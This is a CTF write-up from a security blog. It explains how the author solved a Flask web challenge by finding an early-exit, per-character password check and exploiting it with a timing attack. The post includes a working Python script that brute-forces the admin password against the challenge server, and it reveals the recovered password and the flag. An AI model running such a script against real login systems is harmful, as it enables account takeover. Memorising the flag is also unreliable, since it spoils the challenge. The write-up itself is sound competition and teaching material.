eqqn Security blog

CTF write-ups

Home

Intro

Swiss hacking challenge is a swiss national CTF, made to select the best hackers for ECSC and other competitions. Although I am not swiss, I wanted to know more about the /mnt/41n team, the friendly rivalry with France ( it seems to run many years back in ECSC circuit) and memes.

SHC 2023 - Lost pass (WEB)

Description

Looks like somebody lost his password.

We are given website source code for the website. It’s a python Flask application.

Looking around

The frontend presents you a login form. The register buttons do not submit any data and we get HTTP 405 - Method not allowed. The /register API is defined in the source code provided, and I could register as a user, and receive a JWT token to toy with.

` curl -X POST hxxp://chall.m0unt41n.ch:31063/register -d ‘username=USER&password=PASS’ `

Code analysis

There is a lot going on in this code, I was jumping around and doing all the wrong things initially.

The goal is to login to the page as admin, as the template will render the flag, if you are logged in as admin.

    if user["username"] == "admin":
        return render_template('dashboard.html', message=f"Your secret is: {open('flag.txt', 'r').read()}")
    return render_template('dashboard.html', message=f"lettuce")
sys.set_int_max_str_digits(0)
app.config['SECRET_KEY'] = secrets.token_hex(20)

set_int_max_str_digits(0) did not run initially, needing python3.11. I commented it out and tried to run it locally, TLDR - its a DOS mitigation[1],[2], setting it at 0 does not affect integer calc and actually disables it. No relevance in integer(crypto?) operations.

The secret is generated on startup securely and hashcat will not even let you do a 16^20 search.

There are also some SQL queries done, but no luck there.

def error_log(username, password):
    if username == "admin":
        f = open("error.log", "w")
        time.sleep(1)  #this is kind of interesting...
        f.write(f"SOMEONE TRIED TO LOGIN AS ADMIN USING {password} !!!1!11!!")
        f.close()
    return False

This initially looked interesting, if we could inject into {password} variable. We can, but python f strings are solid enough. I got the application to run locally and tried passing python commands as password, but no luck. We will use the time.sleep(1) later!

@app.route('/dashboard', methods=['GET'])
@auth_required
def dashboard(token):
    user = db.getUserbyId(token["id"])
    if user["username"] == "admin":
        return render_template('dashboard.html', message=f"Your secret is: {open('flag.txt', 'r').read()}")
    return render_template('dashboard.html', message=f"lettuce")

the user["username"] == "admin" comparison is solid, creating “weird” usernames like admin\n or admin[] did not pass.

The vulnerability

Perhaps obvious, but the password generation has a flaw (besides using md5)- it compares the hash of each character rather than the whole string…

def check_password(username, hashed_password, password):
    hashed_password = hashed_password.split(",")
    for x in range(len(hashed_password)):
        try:
            if hash_char(password[x]) != hashed_password[x]:
                return error_log(username, password)
        except:
            return False
    return True
  
def hash_char(char):
    return hashlib.md5(char.encode()).hexdigest()[:20]

This opens the doors for a Timing Attack. To confirm the theory, I tried comparing times of the first letter of the pass. I observed that with the first password character “d”, the response time was short. If we did not provide another wrong character, then error ( and 1 second sleep!) is never performed.

I wrote a script, tested locally, and I was able to recover my dummy secret.

import requests
import time

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive'
}
charlist='1234567890abcdefghijklmnopqrstuvwxyz'
data = {'username': 'admin','password': 'a'}

def tracer(text):
    data = {'username': 'admin','password': text}
    start_time=time.time()
    response = requests.post('http://chall.m0unt41nD3w.ch:30902/login', headers=headers, data=data)
    duration=time.time() - start_time
    print( "%s--- %s seconds" %(text, duration))
    return duration

i=0
password=''
while True:
    letter=charlist[i]
    attempt=password+letter
    duration=tracer(attempt)
    i=i+1
    if duration <1: #good outcome
        time.sleep(0.1)
        duration=tracer(attempt)
        if duration < 1:
            password=attempt
            i=0
    time.sleep(0.1)

Password recovery

I unleashed it on the challenge website and recovered the password for admin : ducksnice

flag

Login and get the flag! shc{ducks_like_2_sleep_quack}

[1]https://github.com/python/cpython/issues/95778

[2]https://python-forum.io/thread-38185.html